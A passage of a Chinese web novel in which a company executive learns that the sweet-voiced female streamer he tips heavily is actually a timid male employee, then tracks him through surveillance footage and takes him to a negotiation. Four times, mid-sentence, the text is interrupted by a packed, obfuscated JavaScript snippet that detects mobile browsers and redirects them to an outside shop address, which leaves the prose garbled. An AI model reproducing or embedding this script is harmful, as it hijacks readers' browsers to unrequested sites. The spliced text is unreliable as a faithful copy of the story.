要不他还真没办法自然地说出“小荔酱”这个名字。 不过为了显得不那么刻意,他还是佯装纳闷地皱眉,“你不喜欢男的吗?看什么美女啊?” “谁跟你说我喜欢男的?”夏明睿就像被踩到尾巴的猫,还不愿承认。 顾衍眼珠转了转,小声嘀咕:“都公开的秘密了,又不丢人。” “你们两个别闲聊了,谈正事吧。”秦洛白抿一口酒,看了眼腕表,“我等下还有事。” “我们秦总真是日理万机啊!”顾衍眼眸微眯,话里暗藏几分阴阳怪气,低头在手机屏幕轻划几下,找出那位女主播的主页,随手递给了夏明睿。 夏明睿接过,看到卡哇伊的ID,下意识念出来,“小荔酱?” 话一出,秦洛白如冷锋一般的视线径直扫了过去。 顾衍在暗处观察着,看他如此明显的反应,心下终于确定,那个Q就是秦洛白。 当然,他并未戳穿,而是懒洋洋地对夏明睿说:“忘了告诉你,我们集团旗下的游戏公司还找她来配音了。” “不会是你刻意安排的吧?”夏明睿揶揄地看着顾衍,“假公济私啊!” 秦洛白握着酒杯的指节骤然收紧,骨节泛白,杯中的酒液晃出细碎的涟漪,溅在虎口处,冰凉的触感却压不住心底骤然窜起的寒意。 他抬眼时,清冷的目光直直刺向顾衍,那眼神太沉,像结了冰的湖面,藏着毫不掩饰的警告。 喉结滚动了一下,他迟了几秒才缓缓开口,声音比平时低了几分,带着压迫感:“顾衍,你演够了没有?” 他和顾衍认识十多年,太了解这人的性子,向来爱凑热闹,更爱拿旁人的私事寻开心。 今日故意当着他的面提起这个话题,分明是查到了什么。 顾衍被他看得心头微麻,却依旧强装漫不经心,往后倚在沙发背上,“你什么意思啊?我演什么了?” 夏明睿还捧着手机翻小荔酱的主页,没察觉两人之间剑拔弩张的气场,一边划屏幕一边感慨:“别说,这主播是真低调,连个露脸片段都没有,纯靠声音圈粉?而且这榜一Q也太壕了吧,贡献值破亿,清一色全是给她的打赏,这是真爱吧?” “你口中的榜一,就是我。”秦洛白干脆坦荡地承认了。 这话一出,包厢里的气氛瞬间降到了冰点。 夏明睿错愕地抬起头,不明所以。 顾衍的心底敲着小鼓,也分外唏嘘。 不是吧?他绕了那么大一个圈子,秦洛白就这么坦白了? 搞得好像他是个跳梁小丑一样。 “不是,你们在说啥啊?”夏明睿被搞懵了,挠挠头问:“秦哥,你的意思是这主播的榜一是你?” “是我。”秦洛白完全没有避讳,端起酒杯,仰头将杯中剩余的威士忌一饮而尽。 辛辣的酒液顺着喉咙一路灼烧而下,他将空杯稳稳放回在桌上,发出一声不轻不重的脆响,打破了满室的凝滞。 垂着的眼睫缓缓抬起,男人清冷的眉眼间没半分遮掩,语气平淡却带着与生俱来的强势,“喜欢就打赏了,就这么简单,顾衍,你还有什么想问的?” 顾衍一时语塞,随即低笑出声,手肘撑着桌面凑近几分,眼底的戏谑里添了点真切的讶异,“可以啊秦哥,藏得够深,我还以为你不为女色所动呢!早知你这么干脆,我刚才何必迂回半天。” 秦洛白没接他的话茬,指尖轻轻拭去虎口处残留的酒渍,“我喜欢的是她的声音。” “只是为了声音?”顾衍不理解,“你们私下里没见过?” “为什么要见?” “通常打赏主播成为榜一,都是为了私下里约着见面啊!难道你没想过要发展发展?” “没有。”秦洛白斩钉截铁地否认。 顾衍的唇角偷溜出一抹笑,“我知道了,你怕她只是声音好听,长得差强人意,对不对?” “我没你想得那么肤浅。” “别把男人想得太高尚,就算你嘴上不承认,现实中见到对方,发生她完全不符合你理想中的模样,也会渐渐感到失望。” 顾衍说完,碰下夏明睿的胳膊肘,“你说对吗?” 夏明睿赞同点头,“对方还有可能是个男的。” 顾衍先是一愣,继而笑出了声,笑声里满是戏谑与不以为然,“那小荔酱嗓子甜得发腻,娇软劲儿藏都藏不住,怎么听也不可能是男的啊。” “怎么不可能?我……”夏明睿的眸光闪烁了下,“我有个舍友,他的声线就能自如转换,可男可女。” 听完,顾衍收敛了笑,身子微微前倾,看向秦洛白,眼底闪着促狭的光,“秦哥你打赏了那么多,对方要真是个男的,你这心得碎成八瓣吧?” 夏明睿也忍不住问:“秦哥,你就没好奇过人家的真实身份,私下里查一查她的底细?” 秦洛白抿唇未语。 起初,他偶然刷到“小荔酱”的视频片段,是因为她的声音宛如天籁,完美符合他这位极端声控的要求,听了以后能让他晚上睡得更踏实,这才进了直播间。 那时,直播间的热度并不高,观众寥寥,但这反而让“小荔酱”的互动显得格外真诚。 她读留言时语调温软,像絮语拂过耳畔,解答困惑时又总带着点狡黠的幽默,真性情却不越界,温柔中藏锋。 这哪里是普通主播?分明是聪慧又调皮的小恶魔,偏偏还披着温柔的外衣。 秦洛白就在这每晚的观看中,日复一日地沉了心,成了直播间里最沉默也最执着的观众。 看她明明工作疲惫,还要硬撑着给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948293|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家展现出最好的状态,又怎么忍得住不打赏呢? 不过即便这样,秦洛白也没打算和对方产生什么交集,直到那晚,她主动发来私信…… 眸光晦暗几分,秦洛白不想再继续这个话题,将手机扣在桌上,让他们聊公事。 顾衍观察着秦洛白这反应,怎么看也不像是只拿人家当女主播的态度,分明很在意。 但他不敢再追问下去,秦洛白没跟他计较,已经是“开恩”了。 - 从顾氏集团离开后,景眠去了漫展,玩到很晚才回家。 醉意朦胧地靠在沙发上,习惯性地点进微信小号,依旧没有新消息。 已经好几天没联系了,在捅破“同城”这个窗户纸后,他们便心照不宣地切断了联络,没有一点准备。 Q先生太过敏锐,仅凭文字,便能判断出他的语气,是敷衍或者不耐烦。 那天,的确是他态度有问题,不该过那么久故意不回人家消息。 他理应道歉的。 指尖在冰冷的屏幕上轻轻摩挲着,景眠很想主动给他发条消息,却又忌惮真实身份被戳穿,而不敢靠近。 万一,Q先生提出见面怎么办? 对话框反反复复点开数次,景眠痛恨自己是个胆小鬼,将脸埋进沙发靠垫里,无能狂怒。 手机从掌心滑落,静静地在沙发上躺了会儿,一条新消息突然弹出来。 听见震动,景眠几乎是弹坐起来的,指尖带着点慌乱去抓手机,指腹蹭过冰凉的屏幕时,连呼吸都下意识放轻了半分。 是有心灵感应吗?在他想找他的时候,他竟然先发来消息。 Q:【最近很忙?】 景眠盯着这四个字看了许久,方才压在心底的焦躁与忐忑,竟在这一刻被这轻飘飘的一句话熨帖得发软。 他攥着手机的指节微微泛白,指尖悬在输入框上方,删删改改好几回,先是敲了“还好”,觉得太过敷衍,又添了“接了个商单,才没直播”。 他以为Q先生是因为直播请假这事儿才来问他的。 【为什么躲我?】 对面猝不及防发来又发来一句疑问。 果然,还是被他觉察到了。 景眠为难地皱起眉,只能按下语音键,轻声说:“对不起哥哥,我那天状态不是很好……” 他也没说谎,那天突然间知道两人同城,心里又慌又乱的。 【怕我约你见面?】 景眠瞳孔骤缩,呼吸一滞。 这人怎么料事如神? 隔着手机屏幕,他那些躲闪的念头与刻意回避的心思,仿佛全被对方一眼看穿,毫无保留地摊开在明亮光下,无处藏身。 为何总感觉一切都在他掌控之中? 景眠还未回复,Q先生又发来:【你可以坦诚告诉我,女孩担心人身安全很正常,下次不要闷在心里,我并非那种不通情达理之人。】 呜呜呜这是什么理想型爹系人格,温柔又包容,连他不小心犯下的小错误都给足台阶下。 可问题在于……他是男孩子啊QAQ 16.第16章 趁着这个话题,景眠决定试探性地问一下对面,了解他是什么态度。 【那……哥哥想过和我见面吗?】 【猫猫眨眼.jpg】 【暂时没想过】 Q先生回复得很快,可见是没怎么犹豫。 暂时…… 景眠捕捉到这个关键字眼。 它像一扇虚掩的门,门后是未知的房间,既保留了拒绝的余地,又微妙地留了一丝“未来或许有可能”的缝隙。 还是说... 他真的只是单纯地享受现在这种只闻其声、不见其人的状态,不想让现实打破这份平衡? 景眠当然希望是后者。 但心底,又莫名有一丝惆怅。 【这样啊~】 他表示了然地回复,没等发下一句,屏幕又弹出新消息。 【你想见我吗?】 Q先生问得很直接,不像他那样拐弯抹角。 指尖猛地一顿,景眠松弛的肩线瞬间绷紧了。 他攥着手机的力道不自觉加重,指腹把屏幕边缘蹭得发烫,脑子里像是有两小人在拉扯——一个拼命喊着“说当然不想,就这样挺好的”,一个却又忍不住雀跃,偷偷盼着能有别的可能。 他好像怎么回答都不对。 方才那点惆怅此刻翻了个面,掺着慌与甜,搅得他心口发紧。 时间一分一秒过去,景眠的沉默俨然代替了所有回答。 似乎是感受到他的为难,Q先生换了个话题:【刚才说的商单是做什么的?】 话题转得很刻意。 景眠看得很感动。 刚认识的时候,他还以为对方是一位强势、冷漠的男人,没想到相处下来,才发现他有很温柔的一面,尊重他的意愿,没有强迫他做事儿,如果察觉到他的为难,也不会继续深入这个话题。 心底有一股期冀涌上来,他还真的很想见见现实中的Q先生是什么样子。 是不是如他想象得这么好。 可是他不能说心里话。 因为两人见面的那一天,就是他的死期。 【商单超顺利的~就是有点费嗓子,昨天吃了好几颗润喉糖呢】 景眠故作轻快地回答了问题。 过了几分钟,Q先生才回复:【明天工作日,早点休息。】 这话明显是要结束聊天的意思。 景眠盯着那行字愣了愣神,心里那点没说出口的纠结,瞬间被一股淡淡的失落包裹住。 不过,时候已经不早了,也许人家真的是担心他明早起不来呢? 【我洗个澡就睡啦~】 【哥哥晚安哦~】 发送完毕,景眠却没有立刻退出对话框,手指滑动屏幕,回看了一遍两人的聊天记录。 他们好像生疏了许多。 即便Q先生没说,景眠也能感觉到,他在介意他对他的防备心。 他一定觉得我很多疑,很不信任他吧。 【嗯,晚安】 新消息跳出来。 景眠盯着他的头像,发了一阵呆,才放下手机去洗澡。 - 周一早上,景眠刚下地铁就收到珍妮的消息,问他能不能帮忙录几句宣传vlgo的音频,他们想剪一个短视频发到网上,用手机录音发给她就好。 景眠回了个“没问题”,一边往公司走,一边把台词在心里默念了几遍,来回几遍就背熟了。 写字楼里早已是一派繁忙景象,阳光斜斜穿透巨大的落地窗,在光可鉴人的地板上投下大块暖白光斑,细小的尘埃在光柱里浮沉。 大厅里打卡机的“滴”声此起彼伏,高跟鞋的清脆与皮鞋的沉稳叩击地面,交织成晨间特有的喧嚣,往来员工怀里抱着咖啡杯与文件,步履匆匆。 与大厅的热闹不同,一墙之隔的接待厅静得落针可闻。 冷白的顶灯映着光亮的大理石地面,几组沙发空荡无人,茶几上摊着几本崭新的杂志,在寂静里像被遗忘的孤岛。 景眠轻手轻脚地溜进走廊尽头的转角,这里是整层楼最僻静的地方,鲜少有人经过。 他背靠着冰凉的瓷砖墙站定,沁人的寒意透过薄薄的衬衫渗进皮肤,让他下意识地缩了缩肩。 他像执行秘密任务般掏出手机,指尖在录音图标上停顿一瞬,才轻轻点下。 指尖按下录音键的瞬间,景眠清了清嗓子,调出软糯清甜的声线,开始录制。 “欢迎关注我们的官方账号,解锁更多关于游戏的内部信息哦~” 景眠的尾音轻轻上扬,带着恰到好处的甜意,像融化的蜜糖勾着人的心尖。 他录完一遍,觉得气息略沉,便又录了第二遍。 这一次更顺,更自然,念到顺口时,景眠的嘴角都不自觉地扬起,眼尾弯出浅浅的弧度,连他自己都没察觉那份沉浸其中的愉悦,以至于全然没留意到,走廊另一端,沉稳的脚步声正由远及近,敲在寂静的地面,像心跳,又像倒计时。 秦洛白从专属电梯走来,一身剪裁得体的黑色西装,线条利落,衬得他身姿挺拔如松。 晨光掠过他冷峻的侧脸,下颌线绷得极紧,周身散发着生人勿近的冷意,仿佛连空气都为他凝滞。 可就在熟悉的声音传入耳膜的刹那,他脚步猛地一顿,像是被钉在原地。 明媚清甜的女声,温糯如饴,尾音的弧度和手机里传来的一模一样,相似得让他心头一震。 在这个清晨猝不及防地听到,那道存在于耳机里、陪伴他无数个深夜的声音,竟如此鲜活地从公司走廊的尽头流淌出来。 荒谬感像潮水般涌上,几乎要将他理智的堤坝冲垮。 他甚至怀疑自己是不是还没睡醒,或者最近工作压力太大,出现了幻听。 可那道声音是如此清晰,每一个音节的起伏,都与他记忆里的声音完美重合,分毫不差,像一场荒诞又真实的梦,突然撞进了现实。 秦洛白猛地抬眼望去,视线穿过长长的走廊,精准锁在声音源头上。 然而,没有想象中娇俏可爱的女孩,只有一个身形瘦小的男生,背对着他,穿着洗得平整却普通的通勤衬衫,垂着眉眼,安安静静地站在角落,一副怯懦木讷的模样,是那种扔在员工堆里,转眼就会被人遗忘的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955263|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老实人,普通到毫无存在感,任谁看了,都绝不会把他和那道甜软撩人的女声联系在一起。 怎么会是个男生? 秦洛白的心脏像是被狠狠攥紧,又猛地松开,巨大的错愕席卷而来。 “小荔酱”的声线有多特别,秦洛白比谁都清楚,那是他刻在心底、认定世间独一份的天籁,清润软糯里藏着恰到好处的甜,勾得他无数个深夜心神难宁,他笃定自己绝不会听错半分。 可眼前的画面,却与他执念许久的认知轰然相悖,像一把重锤,狠狠砸在他紧绷的理智上。 恍惚间,那晚酒吧里夏明睿随口打趣的话,竟突兀地在耳畔回响起来: “对方还有可能是个男的。” “我有个舍友,他的声线就能自如转换,可男可女。” 彼时他只当是玩笑,嗤之以鼻,只觉得夏明睿荒唐可笑,这般甜美的声音,怎会出自一个男生之口?可此刻,那话像一根尖锐的针,猝不及防刺破了他所有的尊严,将最残酷的现实,血淋淋地摆在了眼前。 从来没有人这么骗过他。 站在光影交界处,男人冰冷的目光死死锁住那道站在角落的身影,眼底翻涌起复杂难辨的情绪。 在他开口念第二遍的时候,秦洛白周身的寒气骤然翻涌,冷得刺骨,锐利的目光似要将人洞穿。 方才那瞬间的悸动与惊艳,转瞬化作滔天的惊疑,又裹挟着几分被蒙蔽的愠怒,翻江倒海般在眼底冲撞。 是巧合?还是……眼前这个不起眼的男生,其实就是那个藏在屏幕后喊他哥哥,对他撒娇的“小荔酱”? 耳边响起甜软撩人的声音,巨大的反差感狠狠撞击着神经,几乎要将他素来冷静的理智彻底撕碎。 秦洛白竭力压制住翻涌的情绪,转身离开,回到了办公室。 门轻轻合上,隔绝了外界的光与声。 他缓缓坐进办公椅,皮质椅面发出轻微的吱呀声。 找到小荔酱的微信,点开她曾发给他的那些语音,秦洛白一遍遍的听。 娇嗔的问候,委屈的抱怨,雀跃的分享,那些曾让他心头柔软的声音,此刻落在耳里,却只剩无尽的讽刺。 他屏息凝神,分毫必较地捕捉着每一个音节的细节,拼命想找出一丝与走廊里那道声音的差别,可一遍又一遍下来,他终究是失败了。 指尖滑动着屏幕,秦洛白还在试图找否认的理由,一页聊天记录猝不及防地映入眼帘。 【哥哥我迟到了,好怕被领导抓包QAQ】 【我们总经理人很好哒~】 恍然一瞬,秦洛白猛然记起那天早上曾为一位员工解了围。 时间线完全对得上。 总经理? 不就指的他吗? 喉间涌上涩然,再没有可以辩驳的理由。 原来从头到尾,都发生在同一间写字楼里,发生在他的眼皮底下。 同一个人,毋庸置疑。 他曾以为的真诚,此刻全成了精心设计的表演,每一声“哥哥”,都像在笑他愚蠢。 原来最动听的声音,也可以是最锋利的刀。 17.第17章 助理敲门进来时,便感觉到办公室里弥漫着一股压抑的窒息的氛围。 秦总坐在那张黑色真皮转椅上,面色凝重,微微垂着眼,下颌线绷得紧而锋利,浑身散发出令人望而生畏的戾气。 “秦总,这是上午要签的合同,还有各部门递上来的报表。”助理的声音放得极轻,小心翼翼地将文件放在办公桌一角,不敢有半分逾矩。 秦洛白没有应声,目光轻飘飘扫过桌上的文件,却分明心神不属,半点没看进去。 片刻后,薄唇轻启,声音冷硬得不带一丝情绪,“去查今早八点四十分左右的监控,看看接待厅附近的走廊转角,是哪个员工在那里逗留,把他的全部资料给我调过来。” “是。”助理连忙应下,不敢多留,转身便要退出去,却又被秦洛白叫住。 “低调行事,不要声张。” “好的,秦总。”助理严肃点头,心里默默为那位员工点了根蜡。 看秦总这冷到要杀人的目光,恐怕…… 哎。 得罪谁不好,偏得罪了秦总。 真是够倒霉的。 助理心下揣测着,走出办公室。 办公室内,再次恢复了死寂。 秦洛白重新拿起手机,按亮屏幕后映入眼帘的就是微信的聊天页面。 纵然已经基本确认,他还是有种做梦一般的感觉。 从未想过,那样甜美可爱的“小荔酱”,会以这样一种方式,猝不及防地撞进他的现实世界,更没想过,那道勾得他魂牵梦萦的天籁,竟藏在一个如此不起眼的男生身上。 【到公司了吗?】 随手发去一条消息,秦洛白将手机扔在办公桌上,缓缓闭上眼,指腹重重按压着眉心。 时间不知过去多久。 小荔酱回复了消息,秦洛白拿起手机,看到对方依旧是软萌又不谙世事的天真口吻: 【打工人已经到岗啦~哥哥你不会才醒吧?】 【那我可要羡慕嫉妒恨啦!】 【哼.jpg】 望着手机屏幕上那个软乎乎的少女头像,秦洛白的唇角勾起一抹冷冽的弧度。 所以,当初聊到同城时,你那般躲闪回避,惶恐不安要溢出屏幕,是这个原因? 不敢见我,并非因为担心人身安全,而是怕自己的谎言被揭穿。 指尖在屏幕上悬停片刻,秦洛白没顺着那软萌的语气接话,只敲下极淡的一句:【好好上班,有空聊。】 【收到!乖乖上班不摸鱼~】 【小猫转圈.jpg】 看着可爱十足的表情包,秦洛白的胸口聚起一团无名火,冷眼锁屏,将手机反扣在桌面。 助理的办事效率很快,不多时,便将文件放在秦洛白面前,低声汇报道:“秦总,查到了,那个时间段在接待厅逗留的只有一位,是策划部的一名员工,叫景眠。” 掀开资料页,秦洛白最先看到的是一张证件照。 照片里的少年戴着黑框眼镜,镜片后的双眼清澈而安静,透出一种未经世故打磨的干净,神情局促,不太习惯镜头的注视,唇角微微抿着,明显是很害羞内敛的性格。 长相虽秀气,但光看照片也没什么记忆点。 学历倒是挺高的,毕业于国内的一所顶尖院校,只是刚进公司不久,履历干净得并不突出,只完成了“天美”这一个重点项目。 指尖划过“景眠”二字,男人的力道重得几乎要将纸页戳破,眼底冷光乍现,“通知下去,等会儿我要去策划部看看项目情况。” “好的,我马上就去通知。”助理紧张得大气都不喘。 他出去后,秦洛白起身走到落地窗前,居高临下地望着楼下车水马龙,他缓缓攥紧掌心,心里已然有了主意。 既然他喜欢藏,那他便一点点将他的伪装撕开,看他惊慌失措,看他无处遁形。 - 策划部的办公区一向热闹,键盘敲击声与小声的讨论声交织,员工们各司其职,坐在自己的工位上。 众人听闻秦总要亲自过来巡查项目,皆是心头一紧,不敢再摸鱼,连忙整理起桌面文件,严阵以待。 这位秦总素来严苛,眼光毒辣,半点错处都容不得,谁也不想撞在他的枪口上。 秦洛白来得很快,一身笔挺黑西装,身姿挺拔如松,周身裹挟着生人勿近的寒气,在黄经理的陪同下缓步走入。 景眠正对着电脑核对项目数据,指尖飞快地在键盘上敲击,直到楚扬低声提醒“秦总来了”,他才猛地抬头,没想到正对上一双冰冷的眸,心脏骤然一缩。 秦总竟是往他的方向看过来的。 景眠下意识地垂下头,攥紧了鼠标,后背悄然绷紧。 秦洛白冷冽的目光扫过办公区,几乎是一眼就注意到那个男生,只有他戴着那种黑框眼镜,身上穿的衬衫也是他早上看到的那件。 “尚景的项目是哪个组在负责?来办公室一趟。” 黄经理闻言心头一凛,连忙应声:“秦总,是B组负责的,我这就叫他们过去!” 秦洛白看过资料,自然知道景眠正是B组的一员,他迈步往前时,眼角余光看似无意往角落瞥了眼,那个男生苦大仇深地皱起眉,似乎很不情愿。 只扫了一眼,秦洛白脚步未停,径直走向会议室。 不一会儿,B组的员工到齐了,会议室的门被关上,隔绝了外界的嘈杂,压抑的氛围瞬间笼罩下来。 秦洛白坐在主位上,B组的组长率先上前汇报尚景项目的进度,条理清晰地说着核心规划与当前难点,黄经理站在一旁附和,大气都不敢喘。 景眠缩在队伍末尾,低着头,目光落在笔记本的空白页上,耳朵却竖得笔直,心里只盼着汇报赶紧结束,能早点逃离这令人窒息的地方。 好不容易等组长汇报完毕,黄经理正要开口打圆场,秦洛白却忽然抬眼,让员工们都来说说,有关于尚景项目的用户留存优化方案,还有什么更好的想法可以补充。 前面的同事一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967661|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个个的把该说的都说完了,留到景眠时,也没什么更特别的创意,他抬了抬镜框,只能站起来说:“秦总,我觉得咱们还可以从精准触达用户入手。” 景眠定了定神,将目光落在笔记本上提前记好的零散要点上,声音虽轻,却渐渐稳住了语调,“目前咱们的推送多是全量覆盖,无效推送往往会给用户带来反感,其实可以根据用户的游戏时长、充值偏好做分层,比如给高频活跃用户在主线任务之余,设置一些有趣味性的彩蛋任务,开发副线,留存率应该能再提一截。” 他说得不算惊艳,但贴合数据实际,皆是平日里核对后台数据时总结出的实在想法,不浮夸,也不敷衍。 看景眠这反应,应该是不知道他就是那位Q先生的。 秦洛白的目光放在他脸上,听着他的声音,是与清晨那道清甜软萌截然不同的低沉清冽,语调平实,却字字稳妥。 一个人竟真的能拥有两种完全不同的声线,仿佛分裂出两个灵魂。 不过秦洛白对“小荔酱”太熟悉,还是能从中听出相似之处,比如咬字结构、语言习惯是一样的,细听也能找到声音的相同之处。 打量的目光肆意地从眉眼掠过秀挺的鼻梁,再到嘴唇…… 那样动听的声音原来是从这样一张嘴里发出来的。 如果他没戴眼镜,看这五官和气质,应该也是标准帅哥,可他为什么要在现实中隐藏自己? 秦洛白的目光没有停留太久,很快别开头道:“下午我要去谈深海的合作,需要你们策划部派一名员工随行。” 秦洛白没有表明原因,就这样直接提出安排。 黄经理慢半拍地反应过来,看向楚扬,刚要说话,秦洛白却冲着还站着的景眠轻抬了下巴,“就你吧。” 黄经理错愕地睁大眼。 让景眠这种闷葫芦跟着秦总去谈生意?万万不可啊! “秦总,景眠他来公司不久,还不太熟悉业务……” 黄经理连忙提出反对,谁都知道跟秦总随行见客户,半点差池都不能有,深海那边还是业内出了名的难打交道,景眠性子内向木讷,跟着一块去只能丢公司的人,万一表现不佳惹恼了秦总,他们策划部都要跟着完蛋。 景眠第一次对黄鼠狼充满感激。 秦总气场那么骇人,板起脸不说话的时候比鬼还要可怕,他一点都不想去。 然而,黄经理的话没起一丁点儿的作用,秦洛白不耐烦瞪了他一眼,“你在质疑我的决定?” “不敢不敢。”黄经理连忙把话咽回去,给了景眠一记警告的眼神,示意他好好表现。 景眠的心瞬间沉到了谷底,握着笔记本的指尖泛白,满心的抗拒几乎要写在脸上,却只能硬着头皮应下:“是,秦总。” 他眉头紧锁,表情哀怨,很明显不想去,怕是偷偷在心里,将这场差事连同下达命令的人一起骂了千百遍。 秦洛白不着痕迹地收回目光。 景眠,好好迎接属于你的“暴风雨”吧。 18.第18章 下午,景眠跟随秦洛白一同前往深海集团。 那是一家横跨能源与高科技领域的综合性巨头。 秦洛白坐的是尊贵的宾利,景眠则与几位经理及随行人员同乘另一辆商务车。 他资历最浅,默默缩在最后一排的角落。 车里的气氛很紧绷,几位前辈低声聊着深海集团的合作壁垒,话里话外全是谨慎,偶尔瞥向景眠的目光带着几分费解,想来也疑惑为何秦总会点名让他这个新人随行。 景眠靠着车窗蜷着肩,黑框眼镜滑到鼻尖,他抬手轻推了推,指尖冰凉,心里极其不安。 他实在想不通,自己素来安分守己,都不敢多看秦总一眼,怎么偏偏被安排上了。 车行半小时抵达深海大厦,映入景眠眼帘并非一座简单的写字楼,而是一座兼具工业美学与未来感的庞大园区。 高耸的现代化主楼玻璃幕墙映照着天光,线条冷硬而锐利,园区内,无论是象征着深海能源底蕴的模型,还是展示着最新智能机器人技术的展厅,都无声地昭示着这家公司的实力。 几人刚下了车,就见秦洛白的车稳稳停在正门台阶下。 男人推门下车,黑色西装衬得肩宽腰窄,步履沉稳地拾级而上,周身的寒气比刮过的风更甚。 他走到众人面前时,目光精准地落在人群末尾的景眠身上,语气淡得没一丝温度,“跟上。” 这话,没人会联想到是专门对景眠说的。 但景眠却从秦洛白冷冽的眼神中,捕捉到了警告的意味。 心头一凛,他连忙快步跟上去,落在秦洛白身后半步远的位置。 深海集团的谈判团队早已在大厅门外等候,见了秦洛白连忙上前迎候:“感谢秦总大驾光临,我们已等候多时。” 秦洛白微微颔首,只淡淡“嗯”了一声,语气疏淡,没多余的寒暄,径直抬步往大厅里走。 一行人走进专属电梯,空间骤然狭小,秦洛白就站在他身侧,景眠下意识往角落缩,后背几乎贴住电梯壁,垂着眼盯着自己的鞋尖。 偏巧秦洛白就站在他身侧,两人距离不过半臂,男人强势的气息铺天盖地,令人生畏。 来到会议室,双方按位次落座,深海方先发制人摆明诉求,谈判很快进入正题。 秦洛白全程执掌话语权,指尖轻叩桌面,节奏不急不缓,却每一下都似敲在人心上,言辞犀利精准,字字切中要害,气场强势得让深海方的谈判代表数次语塞,原本态度倨傲、坐姿随意的深海项目总监,神色也渐渐从漫不经心变得凝重,连身子都不自觉坐直了几分。 这位刚上任的秦总,还真是不简单啊! 景眠坐在末位,按着来时黄经理的叮嘱,默默记录会议要点,笔尖在笔记本上飞速滑动,尽量让自己存在感降到最低,可不知为何,他总觉得有道视线时不时落在自己身上,那目光带着审视与探究,锐利得像刀,让他脊背发僵,好几次都写错了字。 不过,他打心底里佩服秦洛白。 谈判中途陷入僵局,深海方借着主场优势,执意要追加两项涉及核心利益的附加条款,语气强硬,寸步不让,几位随行经理面色微变,私下里低声商议对策却难有定论。 就在气氛焦灼之际,秦洛白终于抬眼,指尖收起方才把玩的钢笔,开口便是直击要害,三言两语便点破深海方附加条款的漏洞。 既与双方合作的核心方向相悖,又暗藏后期运维的隐患,逻辑缜密,论据扎实,瞬间扭转了被动局势,让深海方的谈判代表面面相觑,哑口无言。 这般运筹帷幄、掌控全局的魄力,景眠从前只在财经新闻里见过,今日亲耳所见、亲眼所闻,只听得满心震撼,受益匪浅,笔尖不停,把秦洛白那些精准犀利的话术、切中要害的分析一一记下,默默复盘其中的门道,只觉从前在书本上学到的理论,此刻才算真正有了具象的参照。 只是他心里难免疑惑,自己既是代表策划部随行,却全程没被要求发言,连方案都未曾让他宣读,难不成秦总叫他来,只是为了充个数? 即便如此,景眠心中还是生出几分真切的感激。 若非秦洛白一眼点中他这个不起眼的新人随行,他这辈子怕是都没机会踏入这般高规格的谈判会场,更别说能近距离观摩这位业内传奇人物的操盘方式,学到这么多课堂里、工位上学不到的实战经验。 这份机遇,于他而言已是难得的馈赠。 多亏了秦总,他才能学习和进步。 有秦洛白拍板,深海方最终松了口,僵持的局面瞬间破冰,后续的商议顺畅了许多,原本预计要拖到傍晚的谈判,竟提前一个小时便达成了共识。 签完合作协议,一行人走出深海大厦,几位经理纷纷凑上前夸赞秦洛白运筹帷幄,秦洛白淡淡应着,目光不着痕迹地落在了景眠的身上。 少年正低着头仔细翻看方才的会议记录,指尖轻轻摩挲着笔记本上写错又划掉的痕迹,眉头微蹙,透着几分认真的憨气。 阳光落在他微垂的眼睫上,投出一小片浅浅的阴影,连带着那副不起眼的黑框眼镜,都添了几分柔和的暖意,和他在公司里紧绷着脊背的局促模样,又有了几分不同。 景眠一定不知,在会议期间,看似专注的秦总盯了他多少次,无论是他偷偷抬眼打量会场时小心翼翼的模样,攥着笔杆紧张得不敢呼吸,还是听到精妙谈判话术时眼中一闪而过的惊叹,每一个细微的小动作,秦洛白都没有错过。 “你叫景眠?”忽然,男人清冷的声音响起。 听到自己名字,景眠下意识抬起头。 秦洛白比他高出半头,垂眸凝视着他,不动声色发出命令,“看你刚才听得很认真,明早上班之前整理一份会议纪要给我,尤其是要重点标注好会议的关键内容。” 景眠错愕地眨眼。 这不应该是秦洛白的秘书或助理完成的工作吗?他一个策划部的……秦总怎么还向下越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973441|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 级命令他加班呢? 而且…… 会议长达三个小时,让他明早上班之前交给他,他还睡不睡觉了? 